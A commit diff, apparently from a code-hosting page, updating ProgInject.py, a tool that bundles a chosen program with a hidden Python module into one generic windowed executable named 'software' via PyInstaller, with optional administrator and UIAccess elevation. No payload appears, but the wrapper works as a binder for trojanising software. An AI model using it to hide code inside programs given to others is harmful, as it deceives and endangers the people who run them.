shethjenil
commited on
Commit
•
50c7418
1
Parent(s):
f1d7139
Upload 2 files
Browse files- ProgInject.exe +2 -2
- ProgInject.py +4 -5
ProgInject.exe
CHANGED
@@ -1,3 +1,3 @@
|
|
1 |
version https://git-lfs.github.com/spec/v1
|
2 |
-
oid sha256:
|
3 |
-
size
|
|
|
1 |
version https://git-lfs.github.com/spec/v1
|
2 |
+
oid sha256:9008e88bc207e76f8287dec15dababb43c3788b5bfb143bd1c538d3fdbff66f5
|
3 |
+
size 34165262
|
ProgInject.py
CHANGED
@@ -27,14 +27,13 @@ open(f"{folder}/mainfile.py","a+").write(f'''
|
|
27 |
from subprocess import Popen
|
28 |
from os import chdir
|
29 |
import sys
|
|
|
30 |
chdir(sys._MEIPASS+r"\data")
|
31 |
Popen("{filename.split("/")[-1]}",shell=True).communicate()
|
32 |
-
|
33 |
-
|
34 |
-
except:
|
35 |
-
pass
|
36 |
''')
|
37 |
-
command = ['pyinstaller', '--noconfirm', '--
|
38 |
if askyesno("UAC","Do you want to run this program as administrator?"):
|
39 |
command.insert(1,"--uac-admin")
|
40 |
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
|
|
|
27 |
from subprocess import Popen
|
28 |
from os import chdir
|
29 |
import sys
|
30 |
+
from time import sleep
|
31 |
chdir(sys._MEIPASS+r"\data")
|
32 |
Popen("{filename.split("/")[-1]}",shell=True).communicate()
|
33 |
+
sleep(1)
|
34 |
+
import main
|
|
|
|
|
35 |
''')
|
36 |
+
command = ['pyinstaller', '--noconfirm', '--onefile', '--windowed', '--icon', f'{folder}/icon.ico', '--name', 'software', '--add-data', f'{folder};data/',f'{folder}/mainfile.py']
|
37 |
if askyesno("UAC","Do you want to run this program as administrator?"):
|
38 |
command.insert(1,"--uac-admin")
|
39 |
if askyesno("UAC","Do you want to run this program as Uiaccess?"):
|